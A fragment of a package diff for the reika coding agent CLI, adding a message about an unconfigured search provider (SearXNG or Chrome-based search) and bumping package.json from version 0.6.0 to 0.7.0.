183
+ : 'No search provider is configured, so this session has no `search` tool. Set REIKA_SEARXNG_URL to a SearXNG instance, or REIKA_CDP_SEARCH=1 to search through Chrome.';
184
+ }
139
185
  // Whether a turn produced a plan worth acting on. The `planFinal` marker alone is not that:
140
186
  // loop.ts stamps it on ANY final plan-mode message, including a force-write that ended a spiral,
141
187
  // so "the plan turn finished" and "there is a plan" are different claims (#126). Requiring at
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@alexwkleung/reika",
3
- "version": "0.6.0",
3
+ "version": "0.7.0",
4
4
  "description": "Coding agent CLI for local and hosted models, designed around small local models first.",
5
5
  "license": "Apache-2.0",
6
6
  "author": "Alex Leung",